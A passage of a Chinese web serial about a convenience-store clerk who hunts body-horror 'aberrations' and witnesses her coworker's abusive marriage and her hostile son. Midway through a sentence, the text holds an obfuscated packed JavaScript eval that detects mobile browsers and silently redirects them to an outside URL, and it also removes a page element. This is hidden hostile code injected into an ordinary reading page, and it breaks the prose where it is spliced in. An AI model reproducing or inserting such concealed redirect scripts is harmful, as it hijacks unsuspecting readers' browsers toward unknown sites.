眼球不安地转动着,黑色的瞳仁偶尔看向青于,目光对上后又会迅速移开。 那颗眼球,在不安,在忐忑,在恐怖。 一颗眼球而已,竟然有情绪。 青于用脚将旁边用来摆货垫脚的塑料凳子勾过来,踩在上面仔细看。 货架是白色的,冰冰凉凉,底部有一些杂乱的划痕。现在上面多出了一颗眼球,像是被人刻意陈列出来的商品一样,如此突兀又毫无征兆地出现,青于并没有很震惊,只是有些疑惑。 一些,很少的疑惑。 那眼球像是从货架上长出来的一样,杂乱的划痕向外延伸,从白色的痕迹变成细细的红色血管,全部聚集在眼球周围将其困住,形成了一个红色的,如烟雾般的茧。 这种畸变,她是见过的。 出租屋的垃圾桶里,那几张揉成一团的笔记本纸张,上面杂乱的笔迹不断延伸变成了血管,供养着一颗黄豆大小的肉粒,那肉粒不断跳动,所以青于觉得那是一颗小小的心脏。 现在看来,那可能是一只还未成型的眼睛。 假设每个人都有一种量身定制的畸变,跟他们的经历有关,跟他们的痛苦有关,是蕴藏在灵魂深处的情绪或记忆,在后续的人生中被不断刺激后,然后开始生长,变成了独一无二的畸变。 而且只有自身携带的畸变才可以传染别人,从别的地方感染的畸变没有传染的能力,只会潜伏在身体里时不时冒出来。或许,感染后的个体更容易发生畸变,因为那些潜伏在体内的畸变物总是不断刺激着情绪。 邓兰兰的是锁链和无数的手,被抓住、困住、锁住,被迫停留在原地无法逃脱,一如她的童年一样无力改变,只能被动接受。 小区里那个情绪崩溃的青年是黑色的丝线,被缠住、封闭、融化,强制的捆缚会引发窒息,那些丝线攻击性很强,主动缠绕,迅速捆住整个身体,然后融化,流向下水道。没有丝毫挣扎和后悔的余地,一旦缠住后靠自己无法挣脱。 现在,货架上出现的眼睛和邓兰兰丢弃的纸团里出现的应该就是同一种畸变,还有她枕头上那些墨绿的,长着白色绒毛的嫩芽。这两种畸变来自谁呢?一定是跟她长时间接触过的人,而且她 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果然,畸变物一旦离体就会变成低级,一定要从人的身体上采集的才可以。 青于用纸巾包住那只眼睛用力一拽,连接在货柜底部的细小血管全部断裂,迸溅出腥臭的红色液体,溅得到处都是,那是一种比血液更浓稠的液体,挂在货架边缘黏糊糊的拉了很长的丝,就是不断开。 她走到门口,蹲在门边的角落里用打火机把那团软塌塌的眼睛烧毁,地上只余留一点灰烬。 她回到货柜,惊讶地发现那些黏稠恶心的液体还在,还遗留在货架和地板上。 不对啊,之前销毁畸变物后,畸变物所产生的一切都会消失,现在为什么不行了? 是还没清理干净吗? 青于上上下下地仔细找,终于在货架的最底下发现了端倪。 手电筒的光照进去,密密麻麻的红色血管挂在货架的最底层,在那些血管的中间,有成熟的眼球,也有和黄豆相比更大些或更小些的鲜红肉球,正在规律地跳动着,保持着一致的频率,看起来真的很像心脏。 那些眼睛直直地盯着青于,有的瞳仁很小如针尖,有的瞳仁散大,几乎没有眼白的部分。 祂们看着青于,那些血管缓慢地移动着,每一条都在移动,细如发丝的血管在货架的最底部编织出一个独属于眼睛和血管的森林,这个森林在移动着,进行着独属于畸变物的循环。 青于有些不合时宜地想,刚才货架上那颗眼睛真的很像货物。 而现在,她找到了那一类货物的仓库,在狭窄的货架底部,布满灰尘和拖地时渗进来的脏水,还有一些飞蛾和蚊子的尸体。一个脏乱差的仓库,堆满了低级的,无法被收纳的畸变物。 青于伸手去摸,那些血管的触感很奇怪,像是坚韧的毛线浸满了黏稠的液体,缠在手上有些勒,能感受到边缘刺刺的,属于毛线的触感,但是放松时就滑溜溜的,可以随意捏扁挤压,像是一条柔软且滑嫩的骨髓。 一旦你用力拉扯,那些血管就会变成坚韧锋利的毛线,拥有将你勒死的能力。不一样,刚才货架上的血管可以扯断,这些却扯不断,是什么原因? 青于挣扎着将手抽了回来,上面留下了很多红色的印子,错杂交织。 她去仓库拿了搬货的围裙和手套,穿上后直接趴在地上,用手电筒照着那脏兮兮的底层空间,伸出手去摸,慢慢摸索,绕过错综复杂的血管去触摸那些眼球和肉球,软乎乎的,有点韧劲儿,像异形橡皮糖。 她继续伸手去摸,摸到了货架的底部,是柔软的,温热的,像是一层黏膜,长满了血管,宛如电路板的黏膜。她紧紧贴在地面上,想方设法地用眼睛去看,都没法看清楚那货架的底部到底变成什么模样了。 对了,可以拍照。 青于拿了平板来,伸进去拍了一下,和她的猜测一样,本该冰冷坚硬的货架底部变成了暗红色和淡粉色糅杂的单薄组织,上面密密麻麻盘踞着或粗或细的血管,一层薄薄的白色脂肪包裹着那些血管,让诡异变得油腻。 青于想到了今晚第一个出现的男人,有些恶心,打了个哆嗦。 她用刀割了一块组织下来,塞进收纳盒里,随后又被收纳盒吐了出来。 【当前畸变物过于低级,无法收纳】 青于:…… 就非得人身上的是吧! 货架底部的畸变物很难处理,不好用火烧,容易起火。 青于只能趴在地上一点一点地割下来,堆在一起用火烧,烧光后什么残渣都没留下,只有空气里腥臭的味道。 全部烧光后,店里那些黏稠的红色液体总算消失了。 青于坐起来靠在货架上休息,歇了一会儿突然看向店内的监控,然后立即爬起来跑到柜台那儿查看监控有没有拍到那些畸变物。 没有。 她处理畸变物的监控画面卡顿了,一直维持着一个样儿,直到她处理好才恢复正常。她又点开平板,那张照片也损坏了,打开后是一个裂开的图片,无法看到具体的内容。 就和清理一样,只要把畸变物清理干净,一切痕迹都会消失。 但如果没有清理,或是没清理干净,那畸变物出现的痕迹就会一直存在,包括视频和照片。 既然这样的话,那短视频里会不会有人上传什么? 青于坐在柜台前开始搜索,关键词是怪物、变异、奇怪、畸形。 搜了好半天,看了一堆脏眼睛的东西,然后恶心地关闭了短视频软件,打开科普小动画洗眼睛。 动画片播到第三集,画风简陋的卡通人物正在扛着拼音字母过河。 这部动画片没有字幕,声音有点小就听不清了,青于伸手想要把音量调高一点,音量条滑到了合适的位置。 青于刚把手收回来,门口的风铃就响了。 时间是07:03。 她抬头去看,是一张熟悉的脸搭配着奇怪的衣着,她伸手抠了抠下巴处一个痘痘残留的疤痕,有些诧异地问道:“还这么早,你怎么来了?” “家里出了点事,我来店里坐坐。” 31.畸变都市(6) 是方姐。 她穿着一套纯棉的浅蓝色睡衣,上衣是圆领长袖,下装是蓝白格子长裤,脚上套着白色的拖鞋。乱糟糟的头发拢起来随意绑了个低马尾,暗黄疲惫的脸上带着泪痕和乌青,脖子上也有伤痕,是被人用力掐过的痕迹。 她背上背着个小男孩儿,六七岁的年纪,长手长脚的,体格有些胖。他在睡觉,脸趴在方姐的背上,圆嘟嘟的脸颊肉被挤扁,嘴里流着口水,打湿了背部单薄的睡衣。 她穿过店里,径直打开那道门去往仓库里,单手兜住背上的孩子,单手打开收在一旁的折叠床,从柜子里取出毛毯铺上,然后把孩子放在毛毯上包好。 孩子还在睡,方姐看了一会儿,转身换上工作服走出来,进入柜台里,坐到青于身边,沉默地点看系统开始理库存。 青于好奇地看着她,没忍住问道:“方姐,你怎么了?” 沉默的女人愣了一会儿,想要扯出个笑容应付青于,却因面部肌肉而失败。 过了好一会儿,库存清点结束,横线本上写下了需要补货的商品,还在后面写上了供应商的名称。 “没什么,两口子打架。” 她皱了皱眉,想起了什么,有些厌恶地将桌面上的本子扔进抽屉里,摔摔打打地开始整理柜台上的物品。将不停挥手的招财猫抬起又放下,用一次性湿巾擦了又擦,将店员的水杯收到后面的柜子里,擦了整个柜台,带有灰尘的键盘也拔下来,一条缝隙一条缝隙地擦。 青于被她挤到角落里,抱着平板一边刷视频一边看着她。 等她全部忙完了,才小声问她:“方姐,你生气的时候喜欢打扫卫生吗?那还挺好的,家里需要打扫了就惹你生气,然后你就埋头苦干。” 方姐坐在椅子上,将手中脏兮兮的湿巾扔进垃圾桶里,心里堵着的那股气散了,她终于笑出来了,那个难看的笑容收敛后,她说道:“不然呢,还能怎么办?打也打不过,吵也吵不过,除了干点家务,也做不了什么了。” 青于问她:“你们为什么打架啊?” 方姐皱着眉仰头叹出一口气,她该怎么说呢? 她要怎么告诉这个十几岁的小姑娘今晚发生的事,要从哪里开口,要如何表达自己的情绪,要怎样才能让她知道,在婚姻里痛苦和忍耐只是常态,难以直视的龌龊和污秽藏在表面的和谐之下,一旦有人忍不住了,婚姻就会变成这世界上最脏的东西。 要从两个月前种下的夜来香说吗? 说孩子在课外书上看到了一种植物,叫“夜来香”,他好奇这种植物,所以自己打算在一楼的院子里种一株夜来香。 说她是如何辛苦地移栽那株夜来香,在一楼的院子里,她翻土、浇水、施肥,一边对照说明书,一边上网查资料,还去花店里向那些老板请教,为此还买了不少小盆栽,多肉和仙人掌堆满了一个绿植架子。折腾了两个多月,她的夜来香成功存活,且在今天凌晨开花了。 说她种下的夜来香香味浓郁,吵醒了浅眠的自己,她起床查看,想叫醒孩子和他一起分享这个重要的时刻,可以留下照片,装进相册了,记录他和夜来香的第一次见面。但她站在房间里的阳台上,看见了一楼的院子外,那道大铁门外,丈夫的车停在那儿,上下起伏。 一如她的心绪,上下起伏,忐忑不安。 她该如何诉说那一刻的煎熬? 眼睁睁地看完全程,无数念头从她脑海中闪过,她的家庭,她的丈夫,她的孩子,她的工作,她微薄的工资和在家中备受冷落的地位。 要离婚吗?离婚肯定带不走孩子,她微薄的工作无法负担自己和孩子的生活,更可悲的是,她明确地知道,自己辛苦孕育,艰难生下的孩子不会选择跟着自己。 她为之付出一切,心心念念爱着的孩子不会坚定地选择自己。 她和人品低劣的丈夫一同站在天平上,她的孩子会毫不犹豫地选择父亲。 她又想了很多,客厅里随处可见的猫毛还没打扫,要用吸尘器先吸一遍,然后再用粘毛器一点点地粘。沙发、地毯、窗帘,柜子顶上、茶几上、餐桌上、冰箱上,全部都是猫毛,好像永远也打扫不干净,永远也不能闲着。 那只猫是婆婆养的,她很爱猫,自从她去世后,养猫的任务移交给了自己。可她记不清自己和那只猫是否亲近过了,她只记得遍地的猫毛和每日都要清理的猫砂,还有洗澡时被挠出来的血痕。 猫可以去任何地方,猫可以躺着什么也不干。 猫犯了错,丈夫就会说:“看看你养的猫。” 她想撕开他的眼皮,让他的眼睛完全暴露出来,然后抓着他的头发把他怼到那只猫的脸上,告诉他:“这不是我养的猫,这是你妈妈养的猫,她死了,所以你把她忘了。猫犯错了就是我养的猫,你妈妈忌日的时候你才会短暂地记起来这是她的猫,亲戚来家里的时候你才会记起来这是她的猫,有事求你舅舅帮忙的时候你才会记起来,这是他妹妹的猫!” 还有脏衣篓里那些洗不完的衣服,孩子喜欢在院子里玩,衣服脏得很快,会沾上很多泥巴,需要用水先把泥巴洗一遍再扔进洗衣机了。 每次他看见那些衣服和玩闹的孩子,总会说:“看看你儿子。” 她想撕开他的眼皮,让他的眼睛完全暴露出来,然后抓着他的头发把他怼到儿子的脸上,告诉他:“这不只是我的儿子,也是你的儿子,不是你生下的他,所以你总是忘记。他犯错、哭闹、刁蛮的时候,就是我的儿子,我一个人的儿子。他乖巧、懂事、嘴甜、被夸奖的时候,就是你的儿子。” 那辆车的车门打开,丈夫下车了,他拿出钥匙开铁门,正准备进来。 她拉上窗帘,回到床上,盖上被子,权当自己没看见,不知情。 丈夫出轨了,在家门口的车里偷情,丝毫不顾及他们的婚姻,背叛得毫不掩饰。 其实她也没多在意,只是恶心,恶心自己心心念念的夜来香在这样的夜晚盛开。比起丈夫的出轨,遍地都是的猫毛更让她困扰,孩子身上厚厚的黄泥更让她头疼。 上楼梯的声音越来越近。 她想到了自己的同事,那个叫兰兰的女孩儿,她第一次来家里吃饭的时候还曾羡慕过,她当时说了什么? 哦,她当时说:“方姐,真羡慕你,竟然住在城里的豪宅。你家这么大,是不是在屋子里走路都有回声啊?独栋别墅住起来就是舒服啊,还能种花养鱼。说起来,方姐你种植很有天赋啊,花园里的植物都长得很好。” 后来,兰兰又来了几次,话锋就变了。 她说:“都不容易。” 事实证明,大别墅里没有回声,只有浅眠的女人心绪不宁的声音。 门被打开了,他推开了衣帽间的磨砂玻璃门。 她转了个身,躺在床上看着他去里面换衣服,换上了干净的西装,然后,拿了一套她的衣服。 拿我的衣服去给那个女人穿?为什么?凭什么! 她咬着牙下床,将丈夫堵在衣帽间门口,夺回了那套衣服。 “你发什么神经!” “拿你自己的,别拿我的。”她把衣服抱在怀里,走进衣帽间想挂回去。 “你的?”男人已经知道了她话里的意思,也明白自己出轨的事情暴露了,可他没有慌张,没有否认,没有解释,依旧高高在上地靠在玻璃门上,语气嘲讽地说:“这个家里,有什么是你的?” “你每个月那点破工资,够买什么?你吃我的穿我的住我的,还有脸说这些衣服是你的?确实是你的,不过,是我给你的。” 男人走过去抢走了衣服就要转身离开,她没忍住,又抢回来了,然后就挨打了。打人者衣冠楚楚,脸上的眼镜都没歪,用力地掐着她的脖子说:“你最好老实点,安安分分地当孩子妈妈,否则就给我滚出去。” 男人离开后,她瘫坐在衣帽间想了很多。 想起以前,自己没工作的时候,每个月账上都会出现一笔钱,是男人给的生活费,他不怎么回家,工作日会住在离公司很近的房子里,自己就在家里,照顾孩子,照顾老人。他偶尔会把孩子接过去住一段时间,试图培养父子感情,但从不会接自己过去住。 生活费不多不少,刚好够家里的开支,婆婆有时候会给点零花钱,让她自己买衣服出去玩。婆婆心直口快,公公脾气急,他们也总是吵架,自己从中调解,免不得被公公责骂,但是婆婆会维护她,所以她觉得日子其实还算好。 后来公公婆婆先后离世,家里冷清了许多,只剩她和孩子。 比起家里冷清更令她难堪的是,生活费减少了。丈夫说,两个人的开支和四个人不一样,以后会少给点钱。 他很精明,所以生活费还是刚刚好。 可总有些意外的地方需要花钱,她不好意思跟丈夫要,就麻烦亲戚找了份工作,在便利店打工。工资虽然不多,但是工作简单,手头也宽裕了,那时候她觉得,自己的人生其实挺不错的。 老老实实地长大,顺从父母的心意嫁了个有钱人,过上了在家闲着不用上班的日子。第一个孩子就是男孩儿,婆家满意,对她的态度也不错,虽然丈夫比较精明,但至少衣食无忧,现在自己有了工作,手里的钱也够花,挺好的。 可婚姻哪有这么顺风顺水,如果没有鸡毛蒜皮的小事,那一定是藏污纳垢的大事。 她的丈夫,经常出轨。 车上的避孕套,收货地址填写错误后送到家里的女性衣物,手机里经常响起的消息提示音,还有偶尔窥见的,他身上那些暧昧的罪证。 她原本不在意的,现实牵扯太多了,她必须不在意。 可偏偏在今天,偏偏在夜来香开花的今天,偏偏在她期待已久的今天。 “方姐?” 青于戳了戳正在发呆的女人,指着仓库说:“你儿子好像醒了。” 她应了一声,立马站起来去后面看孩子。 随后,她带着孩子从仓库出来,用手指给他梳着略微有些长的头发,语气温柔地说:“正好今天出门了,去剪个头发怎么样?你头发太长了,老师说过好几次了吧。” 小男孩儿挥开她的手,很是烦躁地说:“我不剪,他看不惯是他的问题,我凭什么要剪头发。把你手机给我,我要玩游戏。” “玩玩玩,天天就知道玩手机。眼睛都近视了还想着玩,小小年纪就戴眼镜好看是吧?仓库里有玩具,去拿出来玩。” 小男孩愤怒地踢了一脚塑料凳子,将凳子踹翻后暴躁地说:“我才不玩那些垃圾,我要玩游戏,快把你手机给我!不然就送我回家,我回家去玩自己的手机和平板。” 方姐看着被踢翻的凳子,脸上最后一点血色也褪尽了。 她没有去扶凳子,也没有训斥孩子,只是站在那里眼神麻木地望着那倒在地上的塑料凳子,仿佛被抽走了所有力气,腿软了一下后靠在货柜上。 空气凝滞了几秒。 小男孩的叫嚷声很是尖锐,没有中断。青于拿着的平板里传出科普动画片尾曲,是稚嫩的童声。 青于继续往角落里缩,试图躲避这场母子间的大战,不想让自己参与其中。 这时,她看到方姐垂在身侧的手正死死攥着工作服的衣角,将粗糙的面料攥得变了形。在她的手臂上有几道结痂的伤痕,有短有长。 “小凯,好好和妈妈说话,不要吼好吗?”她耐心地蹲下来,双手扶着孩子的手臂,跟他面对面地说着话。 小凯用力挣扎,用一股牛劲儿摆脱了她的双手,气冲冲地走到青于面前,在她还没反应过来的时候抢走了平板,然后撞开方姐,拿着平板去往仓库。 方姐看着青于,扯起嘴角露出一个苦涩的笑容,然后小声说:“不好意思啊青于,你等等我去拿回来。” 她拉开自己存放私人物品的抽屉,从里面拿出自己的手机去往仓库。 母子俩的对话从里面传出来,青于坐在椅子上,顺手从烤肠机上取了一根烤肠下来吃。 方姐的声音听不出情绪,“只能玩半小时,玩久了眼睛疼。” 小凯的声音却很不耐烦:“啰嗦!你烦死了,一天管这管那儿,爸爸就不会像你这样。神神叨叨的,大早上的带着我来店里,发什么神经啊……爸爸说得对,你真的是更年期了,一天天的就爱找事……” 刺耳的游戏音效压住了他的声音,也打破了店里的压抑,那是另一种令人烦躁的噪音,和他的喋喋不休一样让人厌恶。 方姐从仓库出来了,把平板递到青于的手上,然后拿起抹布开始擦拭货架。 每一个货架都要擦,并且擦得很仔细,很用力,从货架边缘到摆放着商品的底部,一遍又一遍,仿佛要把今日所经历的一切都擦掉。 青于抱着平板,无措地看着她的动作。 这种时候,好像说什么都不太对。她低下头继续玩平板,心不在焉地刷着短视频。 方姐会是什么畸变呢? 这时,待在仓库里的小凯忽然很大声地吼道:“卡死了!这破手机卡死了!妈,我要回家,快送我回家。” 方姐擦拭的动作顿住了。 过了好几秒,她才缓缓转过身,脸上没有任何表情,只有眼底深处翻涌着近乎绝望的疲惫。她盯着仓库的方向,嘴唇动了动,最终什么也没说。 隔了好一会儿,小凯叫嚣了很久,她才艰难地挪动脚步去了仓库。 不知他们说了些什么,小凯安静下来了,方姐疲惫地走出来,坐在凳子上看着天花板发呆。 仓库的门被推开,小凯气冲冲地从里面走出来,方姐的手机被他随手甩在柜台上,发出“哐当”一声巨响,把低着头刷视频的青于吓了一跳。 他没看任何人,傲慢地仰着头挺着鼓鼓的肚子径直走到店门口,一屁股坐在门口的台阶上,背对着店里。 方姐的目光始终追随着他,看了一会儿又继续打扫,她开始拖地了。 青于有些恍惚,她觉得自己好像能听见方姐拖地时摩擦的声音,湿拖把和瓷砖地板摩擦的声音,那声音很奇怪,无法描述。她坐立难安,极其不适应这种氛围,平板屏幕上的短视频变得索然无味。 她偷偷抬眼看向方姐。女人侧对着她,垂着头,几缕碎发从耳后滑落,遮住了她的神情。 过了许久,也许只有几分钟,也许像一个世纪那么漫长。她发现店里的空气凝固成一块一块的马赛克方格,尖锐、生硬、模糊,失去了具体的颜色,变成简略的色块,那些小方格越来越多,从半空中落下来砸在地板上。 青于猛地站起来抬起手,她的手也变成马赛克方格了,正在“簌簌簌”地往下掉。 紧接着,所有的物品开始产生变化,先是天花板和灯。 物品变成的小方格色块丰富些,乱糟糟地落下来砸在她身上,压得她喘不过气。方块有四个尖锐的角,砸在身上疼得厉害,感觉会被扎出一个小窟窿,然后不停冒血。 她的身体迅速被小方块淹没,只能艰难地伸长脖子呼吸,像一只努力的长颈鹿,只有努力,没有长颈。 掉落的方块越来越多,也越来越快。青于思考着应对的方法,她眼尖地看见有些新落下的小方块上沾着血,就挣扎着把手举起来去够那些带血的方块。 原本以为是方姐的血,但拿到手才发现不是,血迹的颜色已经很淡了,而且闻不出什么味道,应该已经沾上很久了。 这些是谁的血?这又是属于谁的畸变? “啊!”年轻女孩儿的尖叫声从店外传来,店里堆得满满当当的小方块瞬间消失。 青于喘息着往外看,就见一个年轻女孩儿站在门口正打算进来,她穿着漂亮的百褶短裙,露出纤长的腿和细细的腰,长发披在身后,顺滑黑亮,格外漂亮。 而小凯掀起了女孩儿的裙子,露出里面肉色的打底裤。 女孩儿连忙将他的手扯开,然后按住自己的裙摆,愤怒地吼道:“你干什么!” 小凯撇撇嘴,一副无赖的样子,“大惊小怪的,我看你们穿这么少,想看看里面有没有穿。这么短的裙子,是情趣内衣吗?” “你胡说什么呢!你家长呢?”女孩儿因为愤怒脖子和脸都红了,又因为屈辱眼里开始泛起水光,她一只手紧紧按住自己的裙摆,另一只手指着小凯,气得颤抖也没骂出一句不好听的话。 方姐连忙出去,一只手抓住小凯的手将他禁锢在原地,另一只手捂着小凯的嘴不让他说话。 “对不起啊美女,小孩子不懂事,乱说的,我会教训他的。你别生气啊,他看手机乱学的,不懂是什么意思的。” 女孩儿看见孩子的家长出现了,眼泪终于滚落下来,声音因为激动而拔高:“小孩子不懂事?他看起来都上小学了吧!不懂事能说出‘情趣内衣’这种话?!你们家长是怎么教的?我要报警!” “别别别,美女,真的对不起啊。”方姐的声音发颤,她死死攥着小凯的手臂,指甲几乎要嵌进儿子的皮肉里。 小凯吃痛,自然挣扎得更凶了,他嘴里发出呜呜的抗议声,还试图用脚去踢那个女孩。方姐用尽全身力气压制着他,双膝跪地紧紧将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689790|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抱住,不断哀求道:“我会好好管教他的,求你别报警!你看,我这边可以赔偿你,一千可以吗?” 她的声音越来越低,最后一句几乎成了气音,带着一种令人窒息的绝望和羞耻。 小凯挣扎无果,张开嘴一口咬在她手上,咬得狠极了,周围的皮肤变白变紫,牙印越来越深。 女孩儿擦了擦眼泪,看着眼前这个看起来很可怜的女人,她脸色惨白,头发凌乱,眼神里满是恐惧和哀求。又瞥了一眼那个被死死按住却依然梗着脖子,眼神凶狠充满戾气的男孩。 他咬着自己的母亲,母亲这一刻是控制他的枷锁,也是被他啃食的猎物。要想阻止他伤人,必须献祭自己成为食物,来填补他的凶狠。 女孩儿满腔的怒火瞬间被泼了一盆冷水,只余留憋闷的灰烬。 她胸口剧烈地起伏,最终只是指着小凯厉声道:“管好你儿子!小小年纪就这样,以后长大了还得了?!再有下次,他一定会吃大亏的!” 说完,她瞪了母子俩一眼,转身快步离开了,黑色的圆头漆面皮鞋踩在地上,发出急促又响亮的“哒哒”声。 那声音很响,像是脊梁骨被一寸寸踩断的声音,碎成一段一段,碎成一块一块,连带这尊严一起,碎成渣渣。 方姐僵在原地,抱着小凯的手像铁钳一样没有松开。 她望着女孩远去的背影,直到那身影消失在街角,才仿佛被抽掉了全身的骨骼,瞬间脱力地瘫坐在地上,只有手掌还被儿子叼在嘴上。 冷汗浸湿了她的后背,黏腻地贴着工作服,很不舒服。脑子里一片空白,周围空荡荡的街道变得模糊,强烈的眩晕感突然出现,心脏在胸腔里剧烈跳动,“咚咚咚”,急促又沉重的声音震得她耳膜发疼。 她有些分不清这是现实还是幻觉,太痛苦了。 小凯终于松口了,他脸上没有丝毫悔意,只有被冒犯和管束的愤怒,“那个女的自己穿那么少,不就是给人看的吗?装什么清高!神经病!爸爸说了,这边有很多酒吧,好多年轻女的在这边卖身,不干净……他都不让我来,就是你,非要带我来!” 方姐猛地转过头,眼神锋利,像她那些被踩碎的脊梁骨一样尖锐,狠狠扎进儿子那张写满无知和恶意的脸上。她想怒吼,想尖叫,想质问他为什么要去学这些恶心的话,想告诉他这是多么无耻下流的行为。 但喉咙像是被什么东西死死堵住了,连一丝声音都发不出来。 极致的愤怒和铺天盖地的疲惫感交织在一起,她好像听到了自己的尊严被儿子嚼碎后吞下去了,沉浸在胃酸里,被悉数腐蚀的声音。 她看着儿子那张酷似他父亲的脸,看着他眼中那种理所当然的,被纵容出来的傲慢和恶意,胃里突然一阵翻江倒海的恶心。 “呕……”她捂住嘴,干呕了一声,身体不受控制地弯了下去。 缓过来后,她摸着儿子的头,轻声说:“最不干净的,最脏的,是你爸爸。” “你身上有你爸爸的基因,那种肮脏的,令人作呕的基因,所以你无知、恶劣、愚蠢、狂妄、自大。我早该想明白的,你不单单是我的孩子,你是沾染了肮脏基因的,由大禽兽生出来的小禽兽。” “你和他一样,都是天生的人渣、畜生。所以我怎么教你你都不听,我苦口婆心说一万遍,以身作则一整年,终于教会你讲礼貌,说谢谢,但是你去和他待一周就全忘记了。我对你那么好,我那么爱你,你都看不到,你只能看到那些脏的、臭的,所以也学了那些脏的、臭的。” “我想着,只要我好好教,你总有一天会听话会懂事。是我想太多了,你是教不会的,你生来就是个坏种……手机在柜台上,去拿着给你爸爸打电话,让他来接你回去吧,我不想看见你。” 小凯气急败坏地说:“我也不想看见你!你又穷又丑,还老是管着我,对我一点也不好,我要去找爸爸了!我会把今天的事情告诉爸爸,让他狠狠惩罚你!” 方姐应了一声,很是麻木地说:“你让他来吧,来惩罚我。” 小凯带着满身的戾气冲进便利店,拿起方姐的手机,手指用力戳着屏幕,嘴里嘟嘟囔囔地咒骂着,开始拨打他父亲的电话。 电话很快被接听,随后,店里只剩下小凯刻薄的告状声,他带着哭腔,充满了刻意的委屈和夸张的控诉,像一个演技精湛的表演者,正在筹谋一出大戏。 “爸爸!我妈她疯了,她竟然说我是小禽兽,说我是人渣……对!她还骂你是大禽兽,说你肮脏……她还打我,掐我……你快来接我,我再也不要待在这里了,我妈疯了,她会杀了我的!” 方姐空洞的目光落在小凯的背影上,又似乎穿透了他,落在更远更虚无的地方。不知是听到了什么,她的肩膀细微地颤抖了一下。 小凯的爸爸很快就到了,开着豪车,西装革履,衣冠楚楚。他站在便利店里,很突兀,好像和她们不是一个图层的人。 青于皱眉,她想起了方姐的穿着,简陋的,廉价的,和这个男人的服饰明显不是同等的质量。既然是夫妻,为什么差别会那么大? 他径直走向方姐,皮鞋踩在刚拖过的地砖上,留下一圈不太明显的湿痕,发出轻微但不容忽视的声响。镜片后的目光像冰冷的刀刃,毫不留情地贴在方姐身上,好像随时能将她凌迟,只要他想。 “怎么回事?”男人的声音低沉平稳,带着一种居高临下的审视。 他的目光扫过方姐的手,看到了上面的牙印,那是出自他儿子的牙齿。甚至不需要思考,他就知道那牙印的来历,一定是她伸手捂孩子嘴巴了,所以才会被咬。 他虽然对这个妻子没有感情,却熟悉她的性格与行事风格,所以他知道,自己软弱顺从的妻子被逼急了,所以做出了一些很反常的行为。 因为自己出轨?还是因为长时间的漠视? 小凯找到了靠山,立刻扑过去抱住父亲的腿,眼泪说来就来,带着哭腔添油加醋:“爸爸,你终于来了!妈妈打我,你看我的手……”他夸张地撸起袖子,露出手臂上被方姐情急之下捏出的红痕,那点红痕与方姐手上红肿青紫的牙印比起来微不足道,却成了他控诉的武器。 男人抬手抚摸儿子的头顶,轻柔安抚。 “你为什么要动手打孩子?” 方姐只是沉默。 男人也并不需要她的回答。 他俯下身,离方姐更近了些,目光在她惨白的脸上游走,像是在确认某种早已认定的结论,他说:“看看你教出来的孩子,他在怨恨你,在攻击你。方静,你不仅是一个失败的妻子,你还是个失败的母亲,你的丈夫和孩子都厌恶你。” 方姐脸色煞白,嘴唇哆嗦着却说不出一句话。 小凯躲在父亲身后,脸上还挂着泪痕,嘴角却偷偷翘起一个得意的弧度,眼神挑衅地看着自己的母亲,无声宣告这场斗争的优胜者是自己。 男人直起身,整理了一下毫无褶皱的西装袖口,动作优雅从容,与这便利店里的狼狈格格不入。他牵起儿子的手,那只手干净、有力,养尊处优,与方姐伤痕累累的手形成触目惊心的对比。 “小凯,我们走吧。” 小凯趾高气扬,像个小皇帝般被父亲牵着往外走,毫不犹豫地离开了自己的母亲。 父子俩的身影消失在店门口,那辆锃亮的黑色豪车驶入车道,引擎的轰鸣声渐行渐远,很快就消失在道路的尽头,像从未出现过。 便利店里骤然安静下来,只剩下制冷柜低沉的嗡鸣,以及一种铺天盖地的、令人窒息的空白。 青于小心翼翼地挪动脚步,走到方姐身边,小声问道:“方姐,你还好吗?” 方姐没有回应,只是缓缓抬起手,用那只带着牙印的手捂住了眼睛。她的肩膀剧烈颤抖着,压抑的哭声被闷在嗓子里,克制又心酸。 青于抽了几张纸塞进她手里,好声好气地劝她:“方姐,你去仓库里休息会儿吧,今天来得这么早,肯定没睡好,去躺会儿补补觉。” “青于,”方姐突然喊了她一声,在青于疑惑的目光中,她擦干了脸上的眼泪,露出了一个自从出现以来最真诚自然的笑容,“今天下午去我家吃饭吧,想给你看点东西。” “哦,好啊。” 青于看着她的表情,总觉得有些不安。 但是,一定要去的。 因为……方姐沾着泪痕的手心里,冒出了短短的嫩绿色新芽,上面长着白色的小绒毛。嫩芽只出现了一小会儿就消失了,代表着方姐的情绪已经稳定了。 她就是嫩芽畸变物的母体。 32.畸变都市(7) 八点半,青于整理好货柜准备下班。 临期货柜上有很多货品,她全部换下来分门别类地装在塑料袋里,问方姐要不要。 邓兰兰之前就跟青于说过,这些食物她们都是可以拿走的,那是老板允许的。不过方姐每次都会拿很多走,她总是挑最好的,真不知道为什么这么有钱还这么抠。 方姐摇头,说不要。 她站在收银台前面打开钱柜核对昨晚营业的金额,听到青于的话之后头都没有抬一下,一副完全不在意的模样。 青于看着她,很是疑惑地问:“为什么不要?之前你都会带走很多的。为什么?” 方姐叹了口气,依旧没有抬头,但是青于能看见她的侧脸。 她在笑。 “以后都不需要了,我以后不需要省钱,也不需要带很多零食回家了。”她说完合上钱柜,冲着青于摆摆手,“快回去吧,下午兰兰来接班的时候你跟她一起过来,我们去我家吃饭。我做饭很好吃的,冰箱里还有新鲜的牛肉和鱼,我给你做几道拿手菜尝尝。” “好,谢谢方姐。” 青于将那四袋子零食拎了起来,里面还有很多大瓶的饮料,厚厚的塑料袋被拉扯变形,绷紧后露出一道道的纹路。 方姐看了她一眼,好心提醒道:“太重了吗?你去仓库里拿小推车带回去吧,下午再送回来就可以了。” 青于摇头,一手拎着两个袋子高高举起,超过了腰线,很轻松地说:“还好,没有很重,我力气很大的。我先回去了方姐,下午再来找你。” 方姐看着青于的背影没有说话。 十几岁的小女孩儿,力气很大,很单纯,她笑了一下,嘴角勾起后又迅速拉平,恢复了平时的模样。 